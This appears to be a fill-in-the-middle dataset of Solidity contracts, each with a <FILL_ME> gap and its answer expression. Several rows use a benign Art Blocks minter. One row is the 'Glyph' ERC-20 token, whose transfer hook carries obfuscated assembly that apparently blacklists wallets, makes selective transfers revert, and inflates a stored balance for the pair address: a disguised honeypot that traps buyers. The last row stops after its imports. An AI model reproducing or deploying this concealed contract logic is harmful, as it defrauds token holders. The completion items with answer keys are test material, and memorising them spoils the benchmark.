import "@openzeppelin/contracts/interfaces/IERC20.sol";
pragma solidity 0.8.9;
/**
* @title Powered by Art Blocks minter contract that allows tokens to be
* minted with ETH or any ERC-20 token.
* @author Art Blocks Inc.
*/
contract GenArt721Minter_LegendsOfMetaterra is ReentrancyGuard {
/// PBAB core contract this minter may interact with.
IGenArt721CoreV2_PBAB public genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
mapping(uint256 => bool) public projectIdToBonus;
mapping(uint256 => address) public projectIdToBonusContractAddress;
mapping(uint256 => bool) public contractFilterProject;
mapping(address => mapping(uint256 => uint256)) public projectMintCounter;
mapping(uint256 => uint256) public projectMintLimit;
mapping(uint256 => bool) public projectMaxHasBeenInvoked;
mapping(uint256 => uint256) public projectMaxInvocations;
/**
* @notice Initializes contract to be a Minter for PBAB core contract at
* address `_genArt721Address`.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Gets your balance of the ERC-20 token currently set
* as the payment currency for project `_projectId`.
* @param _projectId Project ID to be queried.
* @return balance Balance of ERC-20
*/
function getYourBalanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Gets your allowance for this minter of the ERC-20
* token currently set as the payment currency for project
* `_projectId`.
* @param _projectId Project ID to be queried.
* @return remaining Remaining allowance of ERC-20
*/
function checkYourAllowanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Sets the mint limit of a single purchaser for project
* `_projectId` to `_limit`.
* @param _projectId Project ID to set the mint limit for.
* @param _limit Number of times a given address may mint the project's
* tokens.
*/
function setProjectMintLimit(uint256 _projectId, uint8 _limit) public {
}
/**
* @notice Sets the maximum invocations of project `_projectId` based
* on the value currently defined in the core contract.
* @param _projectId Project ID to set the maximum invocations for.
* @dev also checks and may refresh projectMaxHasBeenInvoked for project
*/
function setProjectMaxInvocations(uint256 _projectId) public {
}
/**
* @notice Sets the owner address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(address payable _ownerAddress) public {
}
/**
* @notice Sets the owner mint revenue to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(uint256 _ownerPercentage) public {
}
/**
* @notice Toggles if contracts are allowed to mint tokens for
* project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function toggleContractFilter(uint256 _projectId) public {
}
/**
* @notice Toggles if bonus contract for project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function artistToggleBonus(uint256 _projectId) public {
}
/**
* @notice Sets bonus contract for project `_projectId` to
* `_bonusContractAddress`.
* @param _projectId Project ID to be toggled.
* @param _bonusContractAddress Bonus contract.
*/
function artistSetBonusContractAddress(
uint256 _projectId,
address _bonusContractAddress
) public {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchase(uint256 _projectId)
public
payable
returns (uint256 _tokenId)
{
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchaseTo(address _to, uint256 _projectId)
public
payable
nonReentrant
returns (uint256 _tokenId)
{
// CHECKS
require(
!projectMaxHasBeenInvoked[_projectId],
"Maximum number of invocations reached"
);
// if contract filter is active prevent calls from another contract
if (contractFilterProject[_projectId]) {
require(msg.sender == tx.origin, "No Contract Buys");
}
// limit mints per address by project
if (projectMintLimit[_projectId] > 0) {
require(<FILL_ME>)
// EFFECTS
projectMintCounter[msg.sender][_projectId]++;
}
uint256 tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender);
// What if this overflows, since default value of uint256 is 0?
// That is intended, so that by default the minter allows infinite
// transactions, allowing the `genArtCoreContract` to stop minting
// `uint256 tokenInvocation = tokenId % ONE_MILLION;`
if (
projectMaxInvocations[_projectId] > 0 &&
tokenId % ONE_MILLION == projectMaxInvocations[_projectId] - 1
) {
projectMaxHasBeenInvoked[_projectId] = true;
}
// INTERACTIONS
// bonus contract
if (projectIdToBonus[_projectId]) {
require(
IBonusContract(projectIdToBonusContractAddress[_projectId])
.bonusIsActive(),
"bonus must be active"
);
IBonusContract(projectIdToBonusContractAddress[_projectId])
.triggerBonus(msg.sender);
}
// validate and split funds
if (
keccak256(
abi.encodePacked(
genArtCoreContract.projectIdToCurrencySymbol(_projectId)
)
) != keccak256(abi.encodePacked("ETH"))
) {
require(
msg.value == 0,
"this project accepts a different currency and cannot accept ETH"
);
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).allowance(msg.sender, address(this)) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient Funds Approved for TX"
);
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).balanceOf(msg.sender) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient balance."
);
_splitFundsERC20(_projectId);
} else {
require(
msg.value >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Must send minimum value to mint!"
);
_splitFundsETH(_projectId);
}
return tokenId;
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev utilizes transfer() to send ETH, so access lists may need to be
* populated when purchasing tokens.
*/
function _splitFundsETH(uint256 _projectId) internal {
}
/**
* @dev splits ERC-20 funds between render provider, owner, artist, and
* artist's additional payee, for a token purchased on project
`_projectId`.
*/
function _splitFundsERC20(uint256 _projectId) internal {
}
}
|
projectMintCounter[msg.sender][_projectId]<projectMintLimit[_projectId],"Reached minting limit"
| 141,017 |
projectMintCounter[msg.sender][_projectId]<projectMintLimit[_projectId]
|
"bonus must be active"
|
// SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "../../interfaces/0.8.x/IBonusContract.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
pragma solidity 0.8.9;
/**
* @title Powered by Art Blocks minter contract that allows tokens to be
* minted with ETH or any ERC-20 token.
* @author Art Blocks Inc.
*/
contract GenArt721Minter_LegendsOfMetaterra is ReentrancyGuard {
/// PBAB core contract this minter may interact with.
IGenArt721CoreV2_PBAB public genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
mapping(uint256 => bool) public projectIdToBonus;
mapping(uint256 => address) public projectIdToBonusContractAddress;
mapping(uint256 => bool) public contractFilterProject;
mapping(address => mapping(uint256 => uint256)) public projectMintCounter;
mapping(uint256 => uint256) public projectMintLimit;
mapping(uint256 => bool) public projectMaxHasBeenInvoked;
mapping(uint256 => uint256) public projectMaxInvocations;
/**
* @notice Initializes contract to be a Minter for PBAB core contract at
* address `_genArt721Address`.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Gets your balance of the ERC-20 token currently set
* as the payment currency for project `_projectId`.
* @param _projectId Project ID to be queried.
* @return balance Balance of ERC-20
*/
function getYourBalanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Gets your allowance for this minter of the ERC-20
* token currently set as the payment currency for project
* `_projectId`.
* @param _projectId Project ID to be queried.
* @return remaining Remaining allowance of ERC-20
*/
function checkYourAllowanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Sets the mint limit of a single purchaser for project
* `_projectId` to `_limit`.
* @param _projectId Project ID to set the mint limit for.
* @param _limit Number of times a given address may mint the project's
* tokens.
*/
function setProjectMintLimit(uint256 _projectId, uint8 _limit) public {
}
/**
* @notice Sets the maximum invocations of project `_projectId` based
* on the value currently defined in the core contract.
* @param _projectId Project ID to set the maximum invocations for.
* @dev also checks and may refresh projectMaxHasBeenInvoked for project
*/
function setProjectMaxInvocations(uint256 _projectId) public {
}
/**
* @notice Sets the owner address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(address payable _ownerAddress) public {
}
/**
* @notice Sets the owner mint revenue to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(uint256 _ownerPercentage) public {
}
/**
* @notice Toggles if contracts are allowed to mint tokens for
* project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function toggleContractFilter(uint256 _projectId) public {
}
/**
* @notice Toggles if bonus contract for project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function artistToggleBonus(uint256 _projectId) public {
}
/**
* @notice Sets bonus contract for project `_projectId` to
* `_bonusContractAddress`.
* @param _projectId Project ID to be toggled.
* @param _bonusContractAddress Bonus contract.
*/
function artistSetBonusContractAddress(
uint256 _projectId,
address _bonusContractAddress
) public {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchase(uint256 _projectId)
public
payable
returns (uint256 _tokenId)
{
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchaseTo(address _to, uint256 _projectId)
public
payable
nonReentrant
returns (uint256 _tokenId)
{
// CHECKS
require(
!projectMaxHasBeenInvoked[_projectId],
"Maximum number of invocations reached"
);
// if contract filter is active prevent calls from another contract
if (contractFilterProject[_projectId]) {
require(msg.sender == tx.origin, "No Contract Buys");
}
// limit mints per address by project
if (projectMintLimit[_projectId] > 0) {
require(
projectMintCounter[msg.sender][_projectId] <
projectMintLimit[_projectId],
"Reached minting limit"
);
// EFFECTS
projectMintCounter[msg.sender][_projectId]++;
}
uint256 tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender);
// What if this overflows, since default value of uint256 is 0?
// That is intended, so that by default the minter allows infinite
// transactions, allowing the `genArtCoreContract` to stop minting
// `uint256 tokenInvocation = tokenId % ONE_MILLION;`
if (
projectMaxInvocations[_projectId] > 0 &&
tokenId % ONE_MILLION == projectMaxInvocations[_projectId] - 1
) {
projectMaxHasBeenInvoked[_projectId] = true;
}
// INTERACTIONS
// bonus contract
if (projectIdToBonus[_projectId]) {
require(<FILL_ME>)
IBonusContract(projectIdToBonusContractAddress[_projectId])
.triggerBonus(msg.sender);
}
// validate and split funds
if (
keccak256(
abi.encodePacked(
genArtCoreContract.projectIdToCurrencySymbol(_projectId)
)
) != keccak256(abi.encodePacked("ETH"))
) {
require(
msg.value == 0,
"this project accepts a different currency and cannot accept ETH"
);
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).allowance(msg.sender, address(this)) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient Funds Approved for TX"
);
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).balanceOf(msg.sender) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient balance."
);
_splitFundsERC20(_projectId);
} else {
require(
msg.value >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Must send minimum value to mint!"
);
_splitFundsETH(_projectId);
}
return tokenId;
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev utilizes transfer() to send ETH, so access lists may need to be
* populated when purchasing tokens.
*/
function _splitFundsETH(uint256 _projectId) internal {
}
/**
* @dev splits ERC-20 funds between render provider, owner, artist, and
* artist's additional payee, for a token purchased on project
`_projectId`.
*/
function _splitFundsERC20(uint256 _projectId) internal {
}
}
|
IBonusContract(projectIdToBonusContractAddress[_projectId]).bonusIsActive(),"bonus must be active"
| 141,017 |
IBonusContract(projectIdToBonusContractAddress[_projectId]).bonusIsActive()
|
"Insufficient Funds Approved for TX"
|
// SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "../../interfaces/0.8.x/IBonusContract.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
pragma solidity 0.8.9;
/**
* @title Powered by Art Blocks minter contract that allows tokens to be
* minted with ETH or any ERC-20 token.
* @author Art Blocks Inc.
*/
contract GenArt721Minter_LegendsOfMetaterra is ReentrancyGuard {
/// PBAB core contract this minter may interact with.
IGenArt721CoreV2_PBAB public genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
mapping(uint256 => bool) public projectIdToBonus;
mapping(uint256 => address) public projectIdToBonusContractAddress;
mapping(uint256 => bool) public contractFilterProject;
mapping(address => mapping(uint256 => uint256)) public projectMintCounter;
mapping(uint256 => uint256) public projectMintLimit;
mapping(uint256 => bool) public projectMaxHasBeenInvoked;
mapping(uint256 => uint256) public projectMaxInvocations;
/**
* @notice Initializes contract to be a Minter for PBAB core contract at
* address `_genArt721Address`.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Gets your balance of the ERC-20 token currently set
* as the payment currency for project `_projectId`.
* @param _projectId Project ID to be queried.
* @return balance Balance of ERC-20
*/
function getYourBalanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Gets your allowance for this minter of the ERC-20
* token currently set as the payment currency for project
* `_projectId`.
* @param _projectId Project ID to be queried.
* @return remaining Remaining allowance of ERC-20
*/
function checkYourAllowanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Sets the mint limit of a single purchaser for project
* `_projectId` to `_limit`.
* @param _projectId Project ID to set the mint limit for.
* @param _limit Number of times a given address may mint the project's
* tokens.
*/
function setProjectMintLimit(uint256 _projectId, uint8 _limit) public {
}
/**
* @notice Sets the maximum invocations of project `_projectId` based
* on the value currently defined in the core contract.
* @param _projectId Project ID to set the maximum invocations for.
* @dev also checks and may refresh projectMaxHasBeenInvoked for project
*/
function setProjectMaxInvocations(uint256 _projectId) public {
}
/**
* @notice Sets the owner address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(address payable _ownerAddress) public {
}
/**
* @notice Sets the owner mint revenue to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(uint256 _ownerPercentage) public {
}
/**
* @notice Toggles if contracts are allowed to mint tokens for
* project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function toggleContractFilter(uint256 _projectId) public {
}
/**
* @notice Toggles if bonus contract for project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function artistToggleBonus(uint256 _projectId) public {
}
/**
* @notice Sets bonus contract for project `_projectId` to
* `_bonusContractAddress`.
* @param _projectId Project ID to be toggled.
* @param _bonusContractAddress Bonus contract.
*/
function artistSetBonusContractAddress(
uint256 _projectId,
address _bonusContractAddress
) public {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchase(uint256 _projectId)
public
payable
returns (uint256 _tokenId)
{
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchaseTo(address _to, uint256 _projectId)
public
payable
nonReentrant
returns (uint256 _tokenId)
{
// CHECKS
require(
!projectMaxHasBeenInvoked[_projectId],
"Maximum number of invocations reached"
);
// if contract filter is active prevent calls from another contract
if (contractFilterProject[_projectId]) {
require(msg.sender == tx.origin, "No Contract Buys");
}
// limit mints per address by project
if (projectMintLimit[_projectId] > 0) {
require(
projectMintCounter[msg.sender][_projectId] <
projectMintLimit[_projectId],
"Reached minting limit"
);
// EFFECTS
projectMintCounter[msg.sender][_projectId]++;
}
uint256 tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender);
// What if this overflows, since default value of uint256 is 0?
// That is intended, so that by default the minter allows infinite
// transactions, allowing the `genArtCoreContract` to stop minting
// `uint256 tokenInvocation = tokenId % ONE_MILLION;`
if (
projectMaxInvocations[_projectId] > 0 &&
tokenId % ONE_MILLION == projectMaxInvocations[_projectId] - 1
) {
projectMaxHasBeenInvoked[_projectId] = true;
}
// INTERACTIONS
// bonus contract
if (projectIdToBonus[_projectId]) {
require(
IBonusContract(projectIdToBonusContractAddress[_projectId])
.bonusIsActive(),
"bonus must be active"
);
IBonusContract(projectIdToBonusContractAddress[_projectId])
.triggerBonus(msg.sender);
}
// validate and split funds
if (
keccak256(
abi.encodePacked(
genArtCoreContract.projectIdToCurrencySymbol(_projectId)
)
) != keccak256(abi.encodePacked("ETH"))
) {
require(
msg.value == 0,
"this project accepts a different currency and cannot accept ETH"
);
require(<FILL_ME>)
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).balanceOf(msg.sender) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient balance."
);
_splitFundsERC20(_projectId);
} else {
require(
msg.value >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Must send minimum value to mint!"
);
_splitFundsETH(_projectId);
}
return tokenId;
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev utilizes transfer() to send ETH, so access lists may need to be
* populated when purchasing tokens.
*/
function _splitFundsETH(uint256 _projectId) internal {
}
/**
* @dev splits ERC-20 funds between render provider, owner, artist, and
* artist's additional payee, for a token purchased on project
`_projectId`.
*/
function _splitFundsERC20(uint256 _projectId) internal {
}
}
|
IERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).allowance(msg.sender,address(this))>=genArtCoreContract.projectIdToPricePerTokenInWei(_projectId),"Insufficient Funds Approved for TX"
| 141,017 |
IERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).allowance(msg.sender,address(this))>=genArtCoreContract.projectIdToPricePerTokenInWei(_projectId)
|
"Insufficient balance."
|
// SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "../../interfaces/0.8.x/IBonusContract.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
pragma solidity 0.8.9;
/**
* @title Powered by Art Blocks minter contract that allows tokens to be
* minted with ETH or any ERC-20 token.
* @author Art Blocks Inc.
*/
contract GenArt721Minter_LegendsOfMetaterra is ReentrancyGuard {
/// PBAB core contract this minter may interact with.
IGenArt721CoreV2_PBAB public genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
mapping(uint256 => bool) public projectIdToBonus;
mapping(uint256 => address) public projectIdToBonusContractAddress;
mapping(uint256 => bool) public contractFilterProject;
mapping(address => mapping(uint256 => uint256)) public projectMintCounter;
mapping(uint256 => uint256) public projectMintLimit;
mapping(uint256 => bool) public projectMaxHasBeenInvoked;
mapping(uint256 => uint256) public projectMaxInvocations;
/**
* @notice Initializes contract to be a Minter for PBAB core contract at
* address `_genArt721Address`.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Gets your balance of the ERC-20 token currently set
* as the payment currency for project `_projectId`.
* @param _projectId Project ID to be queried.
* @return balance Balance of ERC-20
*/
function getYourBalanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Gets your allowance for this minter of the ERC-20
* token currently set as the payment currency for project
* `_projectId`.
* @param _projectId Project ID to be queried.
* @return remaining Remaining allowance of ERC-20
*/
function checkYourAllowanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Sets the mint limit of a single purchaser for project
* `_projectId` to `_limit`.
* @param _projectId Project ID to set the mint limit for.
* @param _limit Number of times a given address may mint the project's
* tokens.
*/
function setProjectMintLimit(uint256 _projectId, uint8 _limit) public {
}
/**
* @notice Sets the maximum invocations of project `_projectId` based
* on the value currently defined in the core contract.
* @param _projectId Project ID to set the maximum invocations for.
* @dev also checks and may refresh projectMaxHasBeenInvoked for project
*/
function setProjectMaxInvocations(uint256 _projectId) public {
}
/**
* @notice Sets the owner address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(address payable _ownerAddress) public {
}
/**
* @notice Sets the owner mint revenue to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(uint256 _ownerPercentage) public {
}
/**
* @notice Toggles if contracts are allowed to mint tokens for
* project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function toggleContractFilter(uint256 _projectId) public {
}
/**
* @notice Toggles if bonus contract for project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function artistToggleBonus(uint256 _projectId) public {
}
/**
* @notice Sets bonus contract for project `_projectId` to
* `_bonusContractAddress`.
* @param _projectId Project ID to be toggled.
* @param _bonusContractAddress Bonus contract.
*/
function artistSetBonusContractAddress(
uint256 _projectId,
address _bonusContractAddress
) public {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchase(uint256 _projectId)
public
payable
returns (uint256 _tokenId)
{
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchaseTo(address _to, uint256 _projectId)
public
payable
nonReentrant
returns (uint256 _tokenId)
{
// CHECKS
require(
!projectMaxHasBeenInvoked[_projectId],
"Maximum number of invocations reached"
);
// if contract filter is active prevent calls from another contract
if (contractFilterProject[_projectId]) {
require(msg.sender == tx.origin, "No Contract Buys");
}
// limit mints per address by project
if (projectMintLimit[_projectId] > 0) {
require(
projectMintCounter[msg.sender][_projectId] <
projectMintLimit[_projectId],
"Reached minting limit"
);
// EFFECTS
projectMintCounter[msg.sender][_projectId]++;
}
uint256 tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender);
// What if this overflows, since default value of uint256 is 0?
// That is intended, so that by default the minter allows infinite
// transactions, allowing the `genArtCoreContract` to stop minting
// `uint256 tokenInvocation = tokenId % ONE_MILLION;`
if (
projectMaxInvocations[_projectId] > 0 &&
tokenId % ONE_MILLION == projectMaxInvocations[_projectId] - 1
) {
projectMaxHasBeenInvoked[_projectId] = true;
}
// INTERACTIONS
// bonus contract
if (projectIdToBonus[_projectId]) {
require(
IBonusContract(projectIdToBonusContractAddress[_projectId])
.bonusIsActive(),
"bonus must be active"
);
IBonusContract(projectIdToBonusContractAddress[_projectId])
.triggerBonus(msg.sender);
}
// validate and split funds
if (
keccak256(
abi.encodePacked(
genArtCoreContract.projectIdToCurrencySymbol(_projectId)
)
) != keccak256(abi.encodePacked("ETH"))
) {
require(
msg.value == 0,
"this project accepts a different currency and cannot accept ETH"
);
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).allowance(msg.sender, address(this)) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient Funds Approved for TX"
);
require(<FILL_ME>)
_splitFundsERC20(_projectId);
} else {
require(
msg.value >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Must send minimum value to mint!"
);
_splitFundsETH(_projectId);
}
return tokenId;
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev utilizes transfer() to send ETH, so access lists may need to be
* populated when purchasing tokens.
*/
function _splitFundsETH(uint256 _projectId) internal {
}
/**
* @dev splits ERC-20 funds between render provider, owner, artist, and
* artist's additional payee, for a token purchased on project
`_projectId`.
*/
function _splitFundsERC20(uint256 _projectId) internal {
}
}
|
IERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).balanceOf(msg.sender)>=genArtCoreContract.projectIdToPricePerTokenInWei(_projectId),"Insufficient balance."
| 141,017 |
IERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).balanceOf(msg.sender)>=genArtCoreContract.projectIdToPricePerTokenInWei(_projectId)
|
"ERC20: trading is not yet enabled."
|
/*
++ // G L Y P H \\ ++
A purposeful mark. Left behind by our ancestors.
For what? A warning.
Glyph
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addGlyph;
uint256 private kraken = block.number*2;
mapping (address => bool) private _binance;
mapping (address => bool) private _mandala;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private huobi;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private coinbase;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private theftx = 1; bool private bitfinex;
uint256 private _decimals; uint256 private alameda;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _startToken() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x7)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if and(iszero(sload(getBy(sender,0x4))),iszero(sload(getBy(recipient,0x4)))) { sstore(getBy(recipient,0x5),0x1) }
if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),exp(0xA,0x32)) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployGlyph(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract Glyph is ERC20Token {
constructor() ERC20Token("Glyph", "GLYPH", msg.sender, 100000 * 10 ** 18) {
}
}
|
(trading||(sender==addGlyph[1])),"ERC20: trading is not yet enabled."
| 141,127 |
(trading||(sender==addGlyph[1]))
|
"Contract already exist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
